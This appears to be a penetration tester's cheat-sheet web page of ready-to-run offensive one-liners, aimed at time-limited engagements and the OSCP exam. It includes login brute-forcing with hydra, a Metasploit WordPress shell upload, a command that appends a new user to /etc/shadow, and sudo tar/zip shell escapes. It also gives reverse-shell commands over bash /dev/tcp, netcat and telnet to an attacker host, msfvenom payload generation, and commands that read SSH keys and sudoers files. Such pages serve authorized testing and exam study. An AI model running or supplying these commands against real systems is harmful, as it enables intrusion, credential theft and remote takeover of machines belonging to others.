Here are some useful one-liners and links for pentesters. I have collected these commands to be used right away without spending time on remembering the syntax of a particular tool.

These time saver come handy in a time limited pentest or during your OSCP exam.

Disclaimer On this web site you might read about or get access to various kinds of software and technology, including but not limited to libraries, operating systems, software for communications, mobile phones and tablets, Android software and Linux, even cars and motorcycles, security and penetration testing software, software used in security research and forensics, some samples of software which can be used (elsewhere) for malicious or illegal purposes. You will read about or be provided with the ways to change it, to operate it and to use it. You might find advice and recommendations, which are only an opinion, and not a legal advice or commercial recommendation..
Bear in mind, please, that everything you do, you do solely at your own risk and responsibility. In no way the author of this web site, information, graphics and other materials presented here or related to it can be made liable or anyhow else responsible for your own actions as well as actions of any third party and their direct or indirect results or consequences with or without the use of this information as well as the software, technology and systems mentioned and/or presented here, no matter if developed by the author or by any third party.
In no way it is guaranteed that you will meet any suitability for any particular purpose, safety, security, legality or even simply functioning of the software and systems described here. You have to make sure each time yourself, whether what you do, is really what you intend to do, and that you are ready to be yourself responsible for. All the recommendations and experiences described here are the opinions of corresponding authors and are to be taken with care and own full responsibility.
The software provided on or through this web site, linked to from this web site or anyhow else related to this web site is provided by the corresponding authors on their own terms. We provide all the software here as is without any guarantees to you. You are responsible for deciding whether it is suitable for you or not. You are also responsible for all direct or indirect consequences of using this software.
Other web sites linked to from the current one are out of the author's control, we can not guarantee anything about their content, its quality or even legality. We can not be liable for any use of the linked to web sites or of the information presented there.
We reasonably try to keep this website running smoothly and to deliver information to the best of our knowledge corresponding to the state of the art at the times when the information is composed, usually presented together with the information, and out of good intents. We can not however guarantee and can not be liable for this website being temporarily or permanently unavailable, presenting unreliable information or software, or any other similar or not malfunctioning or functioning not up to your expectations as well as any consequences which might result from this site's operation.

Do not run these commands unless you understand exactly what you are doing!

It is illegal to access like this the machines you are not legally authorized to pentest!

I assume Kali Linux and Bash below. I also assume that the target is on the 192.168.2.0/24 network. Please, double-check the address you target before runing commands from here!

These commands might be and often are dangerous! You are alone responsible for any direct or indirect consequences of using them! Please, do not use them unless you fully understand the consequences and are ready to deal with them, also legally. If you disagree, please, leave this site immediately.


OSINT

web-hunter

Crawls Google and Bing to find emails, subdomains and links: web-hunter.

Bruteforcing

HTTP form bruteforcing


hydra 192.168.2.1 http-form-post "/login.php:login=^USER^&password=^PASS^&par=val:Wrong password" -l root -P rockyou.txt -t 10 -v
hydra 192.168.2.1 http-form-post "/index/login.asp:password=^PASS^&username=^USER^&submit=Enter:Username" -L users.txt -P /usr/share/wordlists/rockyou.txt -t 5 -vvv

Patator

Power-tool when other tools do not fit the purpose: Patator.

Network enumeration

Ping sweep in shell


for i in `seq 1 10`; do (ping -n  -c 1 192.168.2.$i | grep "from" | cut -f4 -d" " | tr -d ":") &  done;

Ping sweep nmap

nmap -sn 192.168.2.1-10
nmap -sn -oG ping.sweep.res.txt 192.168.2.1-10 # grep-friendly output

Port scan nmap


nmap -p 80 -iL host.list.txt -oG web.servers.list.txt # takes hosts from the list
Scanning all ports (-p-) with nmap quickly (-T5):
nmap -p- -T5 192.168.2.2
Scanning quickly some, 25 in this case, top ports (ports used often):
nmap -T5 --top-ports=25

netdiscover

This program asks arp and identifies hosts quickly. If the range is not given, many networks get scanned.

Make sure you use the -i interface switch on a multi-NIC Kali.

netdiscover -i eth1 -r 192.168.2.0/24
Passive scan avoids detection
netdiscover -p  -i eth1 -r 192.168.2.0/24

Arp

Another way to detect host passively is to check the arp table already built:
arp
Arp-scan is an advanced arp tool with many capabilities. One of the easy ways to scan local network with it would be:
arp-scan --interface eth1 --localnet

Tcpdump

sudo tcpdump -i wlan0 -s0 port 110 -w pop3.mail.ru.pcap # s0 = whole packet tcpdump -nXAvvv -r pop3.mail.ru.pcap # read the capture

Web Server Enumeration

Dirbuster

dirb http://$tgt

HTTP enum nmap


nmap -vvv --script http-enum.nse --script-args http-enum.basepath='/' 192.168.2.1

Nikto tools


nikto -host 192.168.0.190

Services Enumeration

OS and software version detection with nmap


nmap -iL active.web.servers.txt -sV -O

SMTP Enumeration


Python script: https://molotnikov.de/scripts/smtpenum.txt

SNMP Enumeration


onesixtyone -c communities.txt -i ips.txt # ip addresses
snmpcheck -t 192.168.2.1 # -t target host, see man
# getmib.py prints mib code, see other -communities in the file linked above
snmpwalk -c public -v1 192.168.2.1 ‘./getmib.py users‘ snmpwalk -c public -v1 192.168.2.1 ‘./getmib.py software‘

SMB Enumeration

Using smbclient to -L list services without -N password:
smbclient -N -L \192.168.0.2
Nbtscan, enum4linux, nmap to scan SMB are below:

nbtscan 192.168.2.1-254 # host names and other smb info
enum4linux -a 192.168.2.1 # enumerates users, machines, names, shares, policies
nmap -p139,445 --script smb-enum-users -iL smb.servers.list.txt # get users
nmap -p139,445 --script smb-check-vulns --script-args=unsafe=1 -v -iL
smb.servers.list.txt # finding vulnerabilities

on a newer nmap these scripts work instead:
    smb-vuln-conficker
    smb-vuln-cve2009-3103
    smb-vuln-ms06-025
    smb-vuln-ms07-029
    smb-vuln-regsvc-dos
    smb-vuln-ms08-067
 - no additional args are needed

Shares and OS discovery over SMB


nmap -v --script smb-enum-shares.nse -p445 -iL smb.servers.list.txt # smb shares
nmap -v -p139,445 --script smb-os-discovery.nse -iL smb.servers.list.txt # smb os discovery

DNS Enumeration

DNS Server Version

nmap -sSU -p 53 --script dns-nsid $tgt

Zone Transfers


host -t ns domain.name # gives dns-server
host -t axfr domain.name dns-server # makes zone transfer
dig axfr @dns-server domain.name
dnsrecon -t axfr -d megacorpone.com
d=$1; for ns in $(host -t NS $d | cut -f4 -d" ");
do host -l $d $ns | grep "has addr"; done

Wordpress

wpscan -u 192.168.2.1
wpscan --enumerate users -u http://192.168.2.1/wordpress/

# Upload shell with metasploit:
# run 'msfconsole' first then
  use exploit/unix/webapp/wp_admin_shell_upload
  set rhost 192.168.2.1
  set targeturi wordpress
  set username admin
  set password admin
  run

Yertle tool


git clone https://github.com/n00py/WPForce.git
# alternative link: https://github.com/qutorial/WPForce
cd WPForce
# test give logins and passwords
python wpforce.py -i usr.txt -w pass.txt -u "http://192.168.2.1/wordpress/"
# then get a shell, it is limited, use metasploit or
# this article better: https://molotnikov.de/wordpress
python yertle.py -u "admin" -p "admin" -t "http://192.168.2.1/wordpress/"

Searching exploits


searchsploit the-app-you-discovered

Docker

Escalating from docker group to root:
https://github.com/chrisfosterelli/dockerrootplease
https://github.com/qutorial/dockerrootplease

Post-exploitation enumeration

Enumerating a Linux machine

http://pentestmonkey.net/tools/unix-privesc-check


unix-privesc-check standard | grep WARNING

https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

General enumeration


cat /etc/*-release  #OS version
uname -a

rpm -q kernel

cat ~/.*history #recent commands

find / -perm -o w -type d 2>/dev/null # world-writable folders
find / -perm -4000 -user root 2> /dev/null # suid binaries

egrep '[0-9a-z]{32,32}' -R . 2>/dev/null # searching regexp, flag

grep "root" * -R | less
grep "pass" * -R | less
tail /etc/passwd # list last users, usually human accounts
su username # - afterwards, works when sudo is not there sometimes

cat /etc/sudoers # getting sudoers
cat /etc/sudoers.d/*

cat ~/.ssh/* # ssh keys
cat /home/*/.ssh/* # ssh keys of others
id # check your groups and their privileges

# add a user "user" with password "123"
echo "user:$6$7heg3R.G$l2H7Sqi1WCWVy.wzyxcyoMi0fL3/q87ssRIwxNovJjFriuc4hbpagcrAegubexgSJA06vvnL41XdeLILDoKBM0:17415:0:99999:7:::" >> /etc/shadow

# lists commands current user may run as root
sudo -l

Check history and log of administrative tools, e.g. mongo:


cat ~/.dbshell
cat ~/.bash_history
cat ~/.mysql_history
cat ~/.sh_history
- (Get-PSReadlineOption).HistorySavePath
type C:\Users\username\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

Running commands from other commands


# tar
touch foo.bar
sudo tar -cf foo.tar foo.bar --checkpoint-action=exec=/bin/bash --checkpoint=1

# zip
touch foo.bar
sudo zip foo.zip foo.bar --test --unzip-command="sh -c /bin/bash"

# vi
:sh
:!Command

Vulnerability scanning


#Try nmap scripts, maybe even all of them :) 
nmap --script all 127.0.0.1

Defect scanning

Sqlmap

Sqlmap searches for SQLi defects.

Exploiting and Exploits Engineering

Albatar

An advanced SQLi exploitation tool: Albatar.

Patterns


PATH=$PATH:/usr/share/metasploit-framework/tools/exploit/
pattern_offset.rb 12345678 # EIP value
pattern_create.rb 2700 # bytes to generate
nasm_shell.rb # generates opcodes
  	mov eax, esp 	# 89E0
  	inc eax		# 40
  	jmp esp		# FFE4
  	push esp	# 54
  	retn		# C3
  	call esp	# FFD4
  

Generating payloads


#list payloads
msfvenom --list payloads

#metasploit, payload + options, encoder + options
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.2.1 LPORT=443 EXITFUNC=thread -f c -e x86/shikata_ga_nai -b "\x00\x0a\x0d" -i 10

# add some nops 90 before the shikata ga nai decoder
 format of the exploit: -f [c|python|bash|ruby|...]   see msfvenom --help-formats
 executable formats: -f [exe|elf|msi|psh]
 --smallest will generate the smallest possible payload
 --platform windows | linux
 -a x86 | x64  # architecture

# an example for SL Mail
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.32.199 LPORT=443 EXITFUNC=thread -f c -e x86/
shikata_ga_nai -b "\x00\x0a\x0d"

Immunity debugger and mona script


!mona modules # check NX and ASLR disabled
!mona find -s "\xff\xe4" -m abc.dll

Shells

Spawning a shell - makes your remote shell more usable

python -c 'import pty; pty.spawn("/bin/sh")' perl —e 'exec "/bin/sh";'

Various shells

http://www.lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/

Reverse shell with bash and redirects

bash -i >& /dev/tcp/$attacker_ip/$attacker_port 0>&1

Reverse shell Node JS server

https://github.com/evilpacket/ https://github.com/ajinabraham/Node.Js-Security-Course/nodejsshell.py

Generating reverse shell payloads

https://netsec.ws/?p=331 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=$attacker_ip LPORT=$attacker_port -f elf > shell

Handling it in metasploit:

use exploit multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost $attacher_ip
set lport $attacker_port
run

Shell with Ncat with SSL and IP Filter

ncat --ssl -nlvp 443 --allow 192.168.1.2 # listen ncat --ssl 192.168.1.1 443 -c "cmd.exe" # connect

Shell with telnet

nc -lvp 4444 # attacker's machine, for input nc -lvp 4445 # attacker's machine, for output telnet [atackers ip] 4444 | /bin/sh | [local ip] 4445 # On the targets system. Use the attackers IP!

mknod shell

mknod backpipe p && nc [attackers ip] 443 0backpipe nc -nlvp 443 # on the attacker's machine

Serving Payloads

One line servers


python -m SimpleHTTPServer 8080
python -m pyftpdlib -w -d . -V -p 2121 # write in current folder activated!
python -m CGIHTTPServer # executes scripts in ./cgi-bin/ , sample script
upload.py - simple uploading site, can be served or simply run!
More one-liner servers here: https://gist.github.com/willurd/5720255.

Cross Pasting

cat << EOF > res.txt
> code
> more code
> EOF
enter

ZSSH - file transfers in ssh shell

# to download a file
root@target: sz file.txt
# to upload Ctrl-Space, then
zssh > sz file.txt

SSH tunneling

ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip] ssh -L 8080:127.0.0.1:80 root@192.168.1.7 # Local Port

Open Remotely port 80 of 127.0.0.1 on port 8080 on Remote server 192.168.1.7:

ssh -R 8080:127.0.0.1:80 root@192.168.1.7 # Remote Port

SSH dynamic forwarding

ssh -D 127.0.0.1:9050 -N [username]@[ip] proxychains ifconfig

SSH Audit

ssh-audit.py host https://github.com/arthepsy/ssh-audit

Password cracking

A large list of password recovery tools:
http://securityxploded.com/password-recovery-tools.php
Calling john from metasploit for NTLM cracks:
https://www.offensive-security.com/metasploit-unleashed/john-ripper/

CEWL - building word lists

cewl -d 0 -m 5 -w mylist.txt https://en.wikipedia.org/wiki/Someting
# this will make a list of words of at least 5 characters and save it. Depth = 0 - links are not followed.
diff --new-line-format="" --unchanged-line-format="" <(sort mylist.txt) <(sort wikipedia.langs.lst) | grep -iv "wiki" | uniq
# removing the wikipedia words and languages listed
List of languages on Wikipedia: wikipedia.langs.lst

John - mutate the word list

john -wordlist:words.txt -rules:Wordlist -stdout >> passwords.txt
See the Wordlist rules list in /etc/john/john.conf from [List.Rules:Wordlist] line

CrackStation

This website https://crackstation.net/ will crack some kinds of hashes for you online.

Nice links


 * Mach larger arsenal: https://github.com/lanjelot/kb  my fork: https://github.com/qutorial/kb
 * Pentest wiki: https://github.com/nixawk/pentest-wiki my fork: https://github.com/qutorial/pentest-wiki
 * Hacking tutorials: https://github.com/carpedm20/awesome-hacking
 * Linux enumeration by g0tm1lk: https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

Last update: 26/10/2020